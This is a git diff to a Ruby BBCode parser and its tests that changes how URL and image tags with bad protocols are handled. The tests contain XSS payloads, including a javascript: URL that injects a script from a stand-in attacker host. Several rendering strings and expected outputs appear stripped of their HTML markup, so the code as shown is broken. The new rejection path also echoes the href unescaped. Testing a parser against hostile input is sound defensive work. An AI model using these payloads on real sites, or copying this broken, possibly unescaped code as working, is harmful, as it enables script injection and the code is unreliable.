diff --git a/bristlecode.rb b/bristlecode.rb
index f8dd273..9536c54 100644
--- a/bristlecode.rb
+++ b/bristlecode.rb
@@ -62,16 +62,8 @@ module Bristlecode
rule(:img_open) { str('[img]') }
rule(:img_close) { str('[/img]') }
- rule(:img) {
- (
- img_open >>
- (
- (str('http://') | str('https://')) >>
- (img_close.absent? >> any).repeat(1)
- ).as(:src) >>
- img_close
- ).as(:img)
- }
+ rule(:img_src) { (img_close.absent? >> any).repeat(1) }
+ rule(:img) { (img_open >> img_src.as(:src) >> img_close).as(:img) }
rule(:eof) { any.absent? }
rule(:tag) { bold | italic | url | linebreak | img }
@@ -148,26 +140,37 @@ module Bristlecode
end
class Url
- attr_accessor :href, :title
+ attr_accessor :href, :title, :bad_href, :title_supplied
def initialize(args)
self.href = args[:href].to_str.strip
- check_href
if args.has_key? :title
+ self.title_supplied = true
self.title = Doc.new(args[:title])
else
- self.title = Text.new(href)
+ self.title_supplied = false
+ self.title = Text.new(self.href)
end
end
- def check_href
- unless href =~ /^(\/[^\/]|https?:\/\/)/
- raise "href must start with /, http, or https"
- end
+ def href_ok?
+ href =~ /^https?:/
end
def to_html
- "#{title.to_html}"
+ if href_ok?
+ "#{title.to_html}"
+ else
+ reject
+ end
+ end
+
+ def reject
+ if title_supplied
+ "[url=#{href}]#{title.to_html}[/url]"
+ else
+ Text.new("[url]#{href}[/url]").to_html
+ end
end
end
@@ -184,8 +187,16 @@ module Bristlecode
self.src = img[:src].to_str
end
+ def src_ok?
+ src =~ /^(\/[^\/]|https?:\/\/)/
+ end
+
def to_html
- ""
+ if src_ok?
+ ""
+ else
+ Text.new("[img]#{src}[/img]").to_html
+ end
end
end
end
diff --git a/spec/bristlecode/parser_spec.rb b/spec/bristlecode/parser_spec.rb
index dca7b6d..6233490 100644
--- a/spec/bristlecode/parser_spec.rb
+++ b/spec/bristlecode/parser_spec.rb
@@ -75,12 +75,12 @@ module Bristlecode
expect(to_html(input)).to eq(output)
end
- it 'rejects bad url protocols' do
+ it 'ignores url tags with bad protocols' do
input = '[url=javascript:alert(1)]google.com[/url]'
- expect { to_html(input) }.to raise_error
+ expect(to_html(input)).to eq(input)
input = '[url=ftp://something.com/filez]google.com[/url]'
- expect { to_html(input) }.to raise_error
+ expect(to_html(input)).to eq(input)
end
it 'allows subtrees in tags' do
@@ -91,20 +91,28 @@ module Bristlecode
it 'rejects bad url protocols' do
input = "[url=javascript:t=document.createElement('script');t.src='//hacker.domain/script.js';document.body.appendChild(t);//]test[/url]"
- expect { to_html(input) }.to raise_error
+ expect(to_html(input)).to eq(input)
input = "[url=ftp://whatever.com/etc]warez[/url]"
- expect { to_html(input) }.to raise_error
+ expect(to_html(input)).to eq(input)
end
it 'renders a linebreak' do
expect(to_html('[br]')).to eq('
')
end
- it 'handles images' do
+ it 'renders an image' do
input = '[img]http://example.com/cat.gif[/img]'
expect(to_html(input)).to eq('')
end
+
+ it 'ignores bad image src protocols' do
+ input = '[img]javascript:alert(1)[/img]'
+ expect(to_html(input)).to eq(input)
+
+ input = '[img]ftp://example.com/cat.gif[/img]'
+ expect(to_html(input)).to eq(input)
+ end
end
describe Parser do
@@ -224,11 +232,6 @@ module Bristlecode
expect(parser.img).to parse('[img]http://example.com/something.gif[/img]')
expect(parser.img).to parse('[img]https://example.com/something.gif[/img]')
end
-
- it 'rejects bad protocols' do
- expect(parser.img).not_to parse('[img]ftp://example.com/something.gif[/img]')
- expect(parser.img).not_to parse('[img]javascript:alert(1);[/img]')
- end
end
end
end